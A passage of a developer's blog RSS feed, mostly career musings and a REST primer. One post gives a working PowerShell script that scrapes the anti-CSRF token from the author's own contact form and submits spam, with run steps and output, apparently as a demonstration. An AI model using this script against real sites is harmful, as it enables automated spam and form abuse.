<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/X5vjIAPYWrc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/</feedburner:origLink></item>
		<item>
		<title>Life’s Creative Circle: Creativity Isn’t About Art or Design</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/P4uaRrHRn_o/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 16:00:56 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Creativity]]></category>

		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2186</guid>
		<description><![CDATA[The most popular conception of creativity is that it's something to do with the arts.
Nonsense. - Paul Arden, It's Not How Good You Are, It's How Good You Wan't To Be.

This year marks a new decade for me (I'm saying goodbye to the late 20's). According to Arden's Creative Circle this blog was written during my era [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>The most popular conception of creativity is that it's something to do with the arts.</strong></p>
<p><strong>Nonsense. <span style="font-weight: normal;">- Paul Arden, <a href="http://www.amazon.com/Its-Not-How-Good-Want/dp/0714843377/">It's Not How Good You Are, It's How Good You Wan't To Be</a>.</span></strong></p></blockquote>
<p style="text-align: center;"><a href="http://www.flickr.com/photos/kahtava/4263213876/sizes/l/"><img class="aligncenter" src="http://farm5.static.flickr.com/4006/4263213876_0230df515b.jpg" alt="" /></a></p>
<p>This year marks a new decade for me (I'm saying goodbye to the late 20's). According to Arden's Creative Circle this blog was written during my era of Maturity and for the next 10 years I'll be Hell Bent On Success. Thanks for putting up with my growing pains and griping.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/P4uaRrHRn_o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/</feedburner:origLink></item>
		<item>
		<title>Finding Work That You Love</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/kN_4j8owLLE/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 16:30:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2169</guid>
		<description><![CDATA[As a youngster I was encouraged to: “Find work that you love and do what makes you happy." Ironically, this sage advice was usually delivered by the unhappy, unemployed, or paranoid (paranoid that the government was stealing their money, unhappy with the uncertainty of not working, or unemployed because keeping work in small remote economies [...]]]></description>
			<content:encoded><![CDATA[<p>As a youngster I was encouraged to: <em>“Find work that you love and do what makes you happy."</em> Ironically, this sage advice was usually delivered by the unhappy, unemployed, or paranoid (paranoid that the government was stealing their money, unhappy with the uncertainty of not working, or unemployed because keeping work in small remote economies is tough). It's also fair to mention that this piece of advice was usually followed by: <em>"Get a trade. You need a trade!”</em> This was probably great advice a couple decades ago, or if you're working in remote communities, but less relevant in today's world. I loosely followed this advice through my younger years and I remember constantly being frustrated when work inevitably lost its fun. Thankfully, I eventually realized that <em>work</em> is <em>work</em> (if <em>work</em> was <em>fun</em> we’d just call it <em>fun</em>, then we'd be preoccupied with <em>having work</em>, not <em>fun</em>). Anyhow, I sympathize with today's youngsters who are wrestling with this same conundrum - being told one thing, but experiencing a different reality in the real world. My words of advice today would be to: <em>“get experience, work, do whatever you can, build a resume, go to school, and you’ll eventually find work that you love. Oh, and don’t look solely to work for happiness.”</em></p>
<p>Today I do find my work fun, but I couldn't have got here without the experience I gained while plowing through boring jobs (like working the assembly line, tree planting, or digging outhouse pits). In order to find the job you love you need to start gaining experience now.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/kN_4j8owLLE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/</feedburner:origLink></item>
		<item>
		<title>Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ulrRlMAOjt4/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 16:00:25 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ASP.NET MVC]]></category>

		<category><![CDATA[PowerShell]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2149</guid>
		<description><![CDATA[I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.
How to hack an Anti CRSF Token from PowerShell


function global:spam-adamdotcom&#40;&#41;&#123;
&#160; # Load the assembly containing WebClientWithCookies and RegexUtilities
&#160; &#91;Reflection.Assembly&#93;::LoadFile&#40;&#40;Resolve-Path "AdamDotCom.WebClientWithCookies.dll"&#41;&#41; &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post <a href="http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/">What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?</a> - to PowerShell.</p>
<p><strong>How to hack an Anti CRSF Token from PowerShell</strong></p>
<div class="syntax_hilite">
<div id="csharp-27">
<div class="csharp">function global:spam-adamdotcom<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span></p>
<p>&nbsp; <span style="color: #008080;"># Load the assembly containing WebClientWithCookies and RegexUtilities</span><br />
&nbsp; <span style="color: #000000;">&#91;</span>Reflection.<span style="color: #0000FF;">Assembly</span><span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">LoadFile</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>Resolve-Path <span style="color: #808080;">"AdamDotCom.WebClientWithCookies.dll"</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> | out-<span style="color: #0600FF;">null</span><br />
&nbsp; <br />
&nbsp; <span style="color: #008080;"># Load the assembly containing System.Web.HttpUtilitiy</span><br />
&nbsp; <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">void</span><span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span>Reflection.<span style="color: #0000FF;">Assembly</span><span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">LoadWithPartialName</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">"System.Web"</span><span style="color: #000000;">&#41;</span> | out-<span style="color: #0600FF;">null</span>&nbsp; </p>
<p>&nbsp; <span style="color: #008080;"># create a new instance of the HTTP Web Client that supports cookies</span><br />
&nbsp; $webClient = New-<span style="color: #FF0000;">Object</span> AdamDotCom.<span style="color: #0000FF;">Common</span>.<span style="color: #0000FF;">Service</span>.<span style="color: #0000FF;">Utilities</span>.<span style="color: #0000FF;">WebClientWithCookies</span></p>
<p>&nbsp; <span style="color: #008080;"># download the page that contains the Anti CRSF Token</span><br />
&nbsp; <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">void</span><span style="color: #000000;">&#93;</span> $webClient.<span style="color: #0000FF;">DownloadData</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">"http://adam.kahtava.com/contact"</span><span style="color: #000000;">&#41;</span>;</p>
<p>&nbsp; <span style="color: #008080;"># use a regular expression to grab the Anti CRSF Token</span><br />
&nbsp; <span style="color: #008080;">#&nbsp; - this is an MVC site so we're looking for a token named &quot;__RequestVerificationToken_Lw__&quot;</span><br />
&nbsp; $regex = <span style="color: #808080;">"__RequestVerificationToken_Lw__=(?&lt;CRSF_Token&gt;[^;]+)"</span><br />
&nbsp; $match = <span style="color: #000000;">&#91;</span>regex<span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">matches</span><span style="color: #000000;">&#40;</span>$webClient.<span style="color: #0000FF;">ResponseHeaders</span><span style="color: #000000;">&#91;</span><span style="color: #808080;">"Set-Cookie"</span><span style="color: #000000;">&#93;</span>, $regex<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #000000;">&#93;</span><br />
&nbsp; $antiCrsfToken = $match.<span style="color: #0000FF;">Groups</span><span style="color: #000000;">&#91;</span><span style="color: #808080;">"CRSF_Token"</span><span style="color: #000000;">&#93;</span>.<span style="color: #0000FF;">Captures</span><span style="color: #000000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #000000;">&#93;</span>.<span style="color: #0000FF;">Value</span></p>
<p>&nbsp; write-host <span style="color: #808080;">"`nYour Anti CRSF Token is: "</span> $antiCrsfToken</p>
<p>&nbsp; <span style="color: #008080;"># construct the message including the Anti CSRF Token</span><br />
&nbsp; $message = <span style="color: #808080;">"__RequestVerificationToken="</span> + <span style="color: #000000;">&#91;</span><span style="color: #000000;">System</span>.<span style="color: #0000FF;">Web</span>.<span style="color: #0000FF;">HttpUtility</span><span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">UrlEncode</span><span style="color: #000000;">&#40;</span>$antiCrsfToken<span style="color: #000000;">&#41;</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080;">"&amp;amp;fromName=Johnathon Fink"</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080;">"&amp;amp;fromAddress=prancesw@rmcres.com"</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080;">"&amp;amp;subject=Call for your diploma now"</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080;">"&amp;amp;body=Is your lack of a degree..."</span></p>
<p>&nbsp; <span style="color: #008080;"># send spam-spam-spam</span><br />
&nbsp; $webClient.<span style="color: #0000FF;">Headers</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">"Content-Type"</span>, <span style="color: #808080;">"application/x-www-form-urlencoded"</span><span style="color: #000000;">&#41;</span>;<br />
&nbsp; <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">void</span><span style="color: #000000;">&#93;</span> $webClient.<span style="color: #0000FF;">UploadData</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">"http://adam.kahtava.com/contact/send"</span>, <span style="color: #808080;">"POST"</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000;">&#40;</span><span style="color: #000000;">&#91;</span><span style="color: #000000;">System</span>.<span style="color: #0000FF;">Text</span>.<span style="color: #0000FF;">Encoding</span><span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">UTF8</span>.<span style="color: #0000FF;">GetBytes</span><span style="color: #000000;">&#40;</span>$message<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;</p>
<p>&nbsp; write-host <span style="color: #808080;">"`nSuccess!!! Your spam has been sent.`n"</span><br />
<span style="color: #000000;">&#125;</span></div>
</div>
</div>
<p>
To run this script:</p>
<ol>
<li>Download the <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">script</a></li>
<li>Run PowerShell</li>
<li>Load the script: <code><a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">.\Automated-AntiCSRF-Authentication-Script.ps1</a></code></li>
<li>Start sending spam-spam-spam: <code>PS &gt; spam-adamdotcom</code></li>
</ol>
<p>Here's the output as seen on my machine:</p>
<div class="syntax_hilite">
<div id="code-28">
<div class="code">PS C:\&gt; .\Automated-AntiCSRF-Authentication-Script.<span style="">ps1</span><br />
PS C:\&gt; spam-adamdotcom</p>
<p>Your Anti CRSF Token is:&nbsp; f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L</p>
<p>Success!!! Your spam has been sent.</p></div>
</div>
</div>
<p></p>
<p>This example uses a derivation of the .NET Framework's <a href="http://msdn.microsoft.com/en-us/library/system.net.webclient.aspx">Web Client</a> class but with Cookies enabled, so it depends on the <a href="http://adamdotcom-services.googlecode.com/svn/trunk/AdamDotCom.Common.Service/Final-Assemblies/AdamDotCom.Common.Service.dll">AdamDotCom.Common.Service.dll</a> assembly (browse the source <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Common.Service/Source/Common/Utilities">here</a>). This dependency can be automatically resolved by issuing the <code>download-client</code> function that's also found within the PowerShell script.</p>
<p>Contribute, view, or download the openly available script here: <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">Automated-AntiCSRF-Authentication-Script.ps1</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ulrRlMAOjt4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/</feedburner:origLink></item>
		<item>
		<title>RESTful Web Services: What Are They?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ysYpsKR2-fY/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 16:00:35 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[ASP.NET MVC]]></category>

		<category><![CDATA[RESTful]]></category>

		<category><![CDATA[Services]]></category>

		<category><![CDATA[WCF]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2004</guid>
		<description><![CDATA[RESTful web services are all the rage these days, and for good reason. Many web based MVC frameworks depend on REST. Here's a crash course on what RESTful web services are and aren't.
REST stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services">RESTful web services</a> are all the rage these days, and for good reason. Many <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller#Implementations_of_MVC_as_web-based_frameworks">web based MVC frameworks</a> depend on REST. <strong>Here's a crash course on what RESTful web services are and aren't.</strong></p>
<p><a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">REST</a> stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service try to make use of the full gambit of <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">HTTP Methods</a> (GET, PUT, POST, DELETE, OPTIONS, and HEAD), and try to expose every resource or operation in a meaningful <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">URI</a> / URL. RESTful web services are intuitive, and work similar to the way the human web works (meaningful semantic data is returned to the client, resources link to other resources, <a href="http://en.wikipedia.org/wiki/Microformat">microformats</a> are employed, and so on).</p>
<p><strong>Qualities associated with RESTfulness:</strong></p>
<ul>
<li>RESTful is the the way the human web works - where the data returned by services can be easily understood by humans (or robots) and usually contain links to other resources</li>
<li>RESTful web services use varying response formats. Common formats include: XHTML pages, XHTML microformats, JSON, XML, ad-hoc HTML, JavaScript, or build your own</li>
<li>RESTful web services depend on meaningful URIs. These URIs can contain scoping information, but shouldn't contain query requests. <em>For example: when searching for 'kumquat' on Google you're redirected to <span style="text-decoration: underline;">http://www.google.com/search?q=kumquat</span> where your search query is present in the URI. Whereas a URI like <span style="font-style: normal;"><span style="text-decoration: underline;">http://www.google.com/search/kumquat/</span></span> specifies the search parameters within the URI - this is not recommended as it implies some predictability, search results are unpredictable</em></li>
<li>RESTful web services also use query variables as inputs to algorithms</li>
<li>RESTful web services expose a URI for every piece of data the client may want to operate on</li>
<li>RESTful web services make use of HTTP methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD)</li>
<li>RESTful web services don't keep the state on the server (that's the client's job), they don't like cookies, and don't like sessions</li>
<li>RESTful web services make use of <a href="http://en.wikipedia.org/wiki/List_of_HTTP_headers">HTTP Headers</a></li>
</ul>
<p><strong>Examples of RESTful web services:</strong></p>
<ul>
<li> <a href="http://en.wikipedia.org/wiki/Amazon_S3">Amazon S3</a></li>
<li> <a href="http://developer.yahoo.com/everything.html">Most of Yahoo!'s web services</a></li>
<li> The Atom protocol</li>
</ul>
<p><strong>Qualities that are <span style="text-decoration: underline;">not</span> RESTful:</strong></p>
<ul>
<li>Most SOAP or other RPC-Style Architectures where XML messages are placed in the <a href="http://en.wikipedia.org/wiki/HTTP_body_data">HTTP Body</a></li>
<li>Frameworks that depend heavily on overloaded POSTs and XML (See <a class="site-tit1" rel="nofollow" href="http://www.devarticles.com/c/a/Web-Services/Safety-Idempotence-and-the-ResourceOriented-Architecture/">Safety, Idempotence, and the Resource-Oriented Architecture</a> for more information)</li>
<li>Most big corporate web service frameworks are not RESTful. Some frameworks like WCF try to provide REST like functionality on top of a SOAP based API, but these add-ons can be obtuse and unRESTful.</li>
</ul>
<p><strong>Examples of unRESTful web services:</strong></p>
<ul>
<li><a href="http://www.flickr.com/services/api/request.xmlrpc.html">The XML-RPC Flickr API</a></li>
<li><a href="http://www.flickr.com/services/api/request.soap.html">The SOAP Flickr API</a></li>
<li><a href="http://www.flickr.com/services/api/request.rest.html">The REST Flickr API</a> - although the name implis REST, this API is designed more like an XML-RPC</li>
<li><a href="http://delicious.com/help/api">The delicious API</a></li>
</ul>
<p>The growing popularity of web based MVC frameworks is providing a welcomed push towards RESTfulness and the simplicity that it brings, because working with the grain of the web (REST) makes life simpler and more semantically meaningful too. If you want to learn more about RESTful web services then check out <a href="http://www.amazon.com/dp/0596529260/">Restful Web Services</a> by Leonard Richardson and Sam Ruby.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ysYpsKR2-fY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/</feedburner:origLink></item>
		<item>
		<title>Ramblings From Another Generation X / Y / Millennial</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/fjmzmH74R7U/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 16:00:55 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2032</guid>
		<description><![CDATA[
Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the Generation X / Y / Millennial demographic group (the boundary varies widely depending on what source you cite). I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/mahalie/145332373/"><img src="http://farm1.static.flickr.com/55/145332373_0056b12dda_m.jpg" alt="" /></a></div>
<p>Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the <a href="http://en.wikipedia.org/wiki/Generation_X">Generation X</a> / <a href="http://en.wikipedia.org/wiki/Generation_Y">Y</a> / Millennial demographic group (the boundary varies widely depending on what source you cite). <em>I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait a ... this could be another manifestation of Generation X / Y / Millennial </em><a href="http://www.boston.com/news/globe/magazine/articles/2007/09/30/the_new_me_generation/?page=1"><em>narcissism</em></a><em> others have been writing about. Crap!</em></p>
<p>When hearing about the traits of our demographic group, I question how unique the traits associated with our group are. It seems that these traits could be common knowledge to <em>smart people</em> everywhere (regardless of demographic segmentation), but then again, this could be my squeaky Generation X / Y / Millennial voice discounting the other demographics (yet again).</p>
<p>I thought Andy Hunt had an accurate description for our demographic:</p>
<blockquote><p>[Generation Xers are] free agents, with an inherent distrust of institutions ... Fiercely individualistic, and perhaps a bit on the dark side, they'll just quit and move on if there's a problem at work. They resist being labeled at all costs ... They are quite pragmatic, working for a positive outcome regardless of any particular ideology or approach. - <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning: Refactor Your Wetware</a></p></blockquote>
<p>I'd agree, an <em>inherent distrust of institutions</em> is a common trait in our demographic. It could be that we're immature and this tendency could wane as we grow older, or it could be a permanent scar stemming from our observations - many of us watched our elders (some with perceived jobs-for-life) jaded and unemployed in the 80's, then living through the uncertainly that prevailed in the following years.</p>
<p>Others have mentioned that we:</p>
